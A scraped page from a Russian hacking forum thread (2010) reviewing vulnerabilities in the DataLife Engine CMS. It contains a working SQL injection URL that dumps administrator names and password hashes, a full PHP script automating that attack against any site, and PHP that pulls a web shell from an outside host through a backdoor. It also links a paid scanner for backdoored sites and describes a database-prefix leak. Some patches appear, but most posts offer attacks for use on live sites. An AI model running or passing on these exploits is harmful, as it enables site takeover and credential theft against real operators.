FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
[ Обзор уязвимостей DataLife Engine ]

Страница 12 из 39

« Первая

Последняя »

Опции темы

Поиск в этой теме

Опции просмотра

24.02.2010, 17:33

~~Foka~~

Banned

Регистрация: 13.02.2008

Сообщений: 129

Провел на форуме:
1608665

Репутация: 124

по DLE 8.3 ктото может чтото сказать?

04.03.2010, 22:57

necros555

Новичок

Регистрация: 14.01.2010

Сообщений: 5

Провел на форуме:
148930

Репутация: 0

engine/inc/include/init.php?selected_language= cрабатывает вот этот експлоит

Warning: require_once(ENGINE_DIR/inc/include/functions.inc.php) [function.require-once]: failed to open stream: No such file or directory in S:\home\192.168.2.1\www\engine\inc\include\init.ph p on line 19

Fatal error: require_once() [function.require]: Failed opening required 'ENGINE_DIR/inc/include/functions.inc.php' (include_path='.;/usr/local/php5/PEAR') in S:\home\192.168.2.1\www\engine\inc\include\init.ph p on line 19

подскажите что можно дальше зделать? и можно ли залить шелл или так слить базу зарние спс

06.03.2010, 11:17

cheburator

Новичок

Регистрация: 16.04.2009

Сообщений: 16

Провел на форуме:
121808

Репутация: 7

Цитата:

Сообщение от necros555

1. В 8.3 Пофиксили ;
2. Это раскрытие путей. Может пригодится только если ты зальешь шелл через соседей. Для того что бы найти путь

06.03.2010, 11:39

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

Провел на форуме:
6075534

Репутация: 2731

Цитата:

Сообщение от cheburator

2. Это раскрытие путей. Может пригодится только если ты зальешь шелл через соседей. Для того что бы найти путь

Не только. Если помимо DLE на сайте присутствует другой движок, в котором присутствует скуля, то есть вероятность залить шелл через INTO OUTFILE, в чем и поможет раскрытие путей.

13.03.2010, 05:09

WEBAdmin

Новичок

Регистрация: 31.07.2007

Сообщений: 11

Провел на форуме:
35605

Репутация: 0

Ребят а подскажите как узнать версию Dle ? admin.php не помогло сразу говорю,что там нет ни каких картинок с версией в ней

15.03.2010, 22:50

~~Dr.Brain~~

Banned

Регистрация: 04.09.2009

Сообщений: 67

Провел на форуме:
178600

Репутация: 22

Вот софтина сканнер dle сайтов с встроенным бекдором сборки от злого
Нужна база сайтов которых в паблике навалом..

Скачать

В архиве сканнер и кейген для него
Покупал за 15$ , потому выкласть не жалко...
На базе 16000 сайтов нашёл 6 бекдоров
Версия DLE 8.2-8.5
Сканнер можна настроить под любую ссылку бекдора если надо..

Скорость: 2-3 сайта в сек. (1мбит)
Сам бекдор выполняет любой PHP код, потому залить шелл не составит труда

Берём хостинг. Туда текстовик с шеллом вида shell.txt
Идём в бекдор. Пишем
$shell = file_get_contents("http://site/shell.txt");
$fp = fopen("shell.php", a);
fwrite($fp, $shell);
fclose($fp);

Последний раз редактировалось Dr.Brain; 15.03.2010 в 22:54..

14.04.2010, 12:15

A!m0ff

Новичок

Регистрация: 07.04.2006

Сообщений: 3

Провел на форуме:
19810

Репутация: 1

Цитата:

Сообщение от Dr.Brain

А кто автор и как с ним связаться ?

16.03.2010, 17:56

VirGod

Познающий

Регистрация: 28.08.2009

Сообщений: 53

Провел на форуме:
421751

Репутация: 15

Проблема: Недостаточная фильтрация входящих данных в регистрации.
Ошибка в версии: все версии
Степень опасности: Низкая
Баг нашёл: Lion__

Баг позволяет узнать префикс к бд.
Как юзать:
1) Переходим по ссылке ?do=register
2) Вводим логин, пароль, капчу, email более 50 символов.
Пример email:

qawsedrftgsqawsedrftgqawsedrftgqawsedrftgqawsedrft g@qawsedrftg.qawsedrftg

3) Нажимаем зарегистрироваться
4) Повторяем операцию с 1 по 3 шаги.
5) Получаем ошибку о дубликате поля. В ней смотрим префикс к бд.

Как это работает? Дело в том что поле email стоит ограничение в 50 символов, таким образом остальное всё обрезается, при первой регистрации в бд попало значение:

qawsedrftgsqawsedrftgqawsedrftgqawsedrftgqawsedrft

После второй регистрации идёт поиск поля email со значением:

qawsedrftgsqawsedrftgqawsedrftgqawsedrftgqawsedrft g@qawsedrftg.qawsedrftg

Которого нет, отправляется запрос, получаем ошибку.

Исправить:

Найти в engine/modules/register.php:

$email = $db->safesql( $parse->process( $_POST['email'] ) );

Заменить на:

$email = $db->safesql( $parse->process( substr($_POST['email'], 0,50) ) );

Источник: _http://forum.seo-king.ru/index.php?showtopic=377

должно получиться это:

18.03.2010, 16:18

botanig

Новичок

Регистрация: 24.09.2008

Сообщений: 10

Провел на форуме:
118243

Репутация: -1

Как просмотреть, что под хайдом в DLE?

dle forum 2.4 sql inj

#10

18.03.2010, 19:51

Dark_cracker

Познающий

Регистрация: 29.05.2009

Сообщений: 55

Провел на форуме:
807573

Репутация: 7

dle forum 2.4 sql inj

Sql-inj в dle-forum*е 2.4 была найдена мной , ещё месяца 2 назат) решил выложить , т.к. сайтов ещё много дырявых.
site.ru/?do=forum&showtopic=23%2527+union+select+1,2,CONCA T_WS(0x3a,name,password),4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20,21,22,23+from+dle_users+where+ user_group=1+limit+1--
юзаем так ...
Защищаемся:
открываем файл: engine/forum/sources/components/init.php
446 строка

PHP код:


		
			
....

    if ($_REQUEST['category'])

    {

        $act = 'category';

        

        $cid =$_REQUEST['category'];

        

        $t_act = '?c'.$cid;

    }

    if ($_REQUEST['showforum'])

    {

        $act = 'forum';

        

        $fid = $_REQUEST['showforum'];

        

        $t_act = '?f'.$fid;

    }

    

    if ($_REQUEST['showtopic'])

    {

        $act = 'topic';

        

        $tid = $_REQUEST['showtopic'];

        

        $t_act = '?t'.$tid;

    }

......

заменяем на

PHP код:


		
			
......

if ($_REQUEST['category'])

    {

        $act = 'category';

        

        $cid = intval($_REQUEST['category']);

        

        $t_act = '?c'.$cid;

    }

    

    if ($_REQUEST['showforum'])

    {

        $act = 'forum';

        

        $fid = intval($_REQUEST['showforum']);

        

        $t_act = '?f'.$fid;

    }

    

    if ($_REQUEST['showtopic'])

    {

        $act = 'topic';

        

        $tid = intval($_REQUEST['showtopic']);

        

        $t_act = '?t'.$tid;

    }

.....

вот типа сплоит писал месяца 2 назат для себя.

PHP код:


		
			
<form method="POST" >

Введи сайт "например" "<b>alldle.ru</b>" <input type="text" name="site" value="<?=$_POST['site']?>">

лимит вводить если показало mysql error<input type="text" name="lim" value="<?=$_POST['lim']?>">

<input type="submit" value="send">

</form>

<?php 

if (!empty($_POST['site'])){

$lim="1";

if (!empty($_POST['lim'])){$lim ="{$_POST['lim']},";$lim .=$_POST['lim'];}

$url='http://'.$_POST['site'].'/?do=forum&showtopic=23%2527+union+select+1,2,CONCAT_WS(0x3a,name,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+dle_users+where+user_group=1+limit+'.$lim.'--';

$ua='Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10';

$cu=curl_init($url);

curl_setopt($cu,CURLOPT_HEADER, 0);

curl_setopt($cu,CURLOPT_RETURNTRANSFER, 1); 

curl_setopt($cu,CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($cu,CURLOPT_USERAGENT, $ua);

$log=curl_exec($cu);

$log=html_entity_decode($log);

if (preg_match_all('#<title>(.*)» (.*)</title>#i',$log,$log2)){

$ss=$log2[2][0];

if (!preg_match('#[:]#is',$ss,$loggg)){ echo 'нету баги ';exit;}

$save=explode(':',$ss);

echo " <b>site:</b> <font color='green'> ".$_POST['site']."</font><br>";

echo " <b>name:</b> <font color='red'> ".$save[0]."</font><br>";

echo "<b>pass:</b> <font color='blue'> ".$save[1]."</font><br>";

}

else { echo " баги не найдено =( ";preg_match_all('#<title>(.*)</title>#i',$log,$logi); echo "<b>{$logi[1][0]}</b>";}

curl_close($cu);

}

?>

Страница 12 из 39

« Первая

Последняя »

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
[ Обзор уязвимостей WordPress ]	ettee	Веб-уязвимости	383	23.11.2019 05:00
Обзор уязвимостей в платных CMS	ZAMUT	Веб-уязвимости	90	03.12.2017 01:35
DataLife Engine v.6.5. Null	Student :)	ПО для Web разработчика	31	23.02.2008 15:36
[ Обзор уязвимостей miniBB ]	-=lebed=-	Уязвимости CMS / форумов	3	12.01.2008 20:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Help

Terms and Rules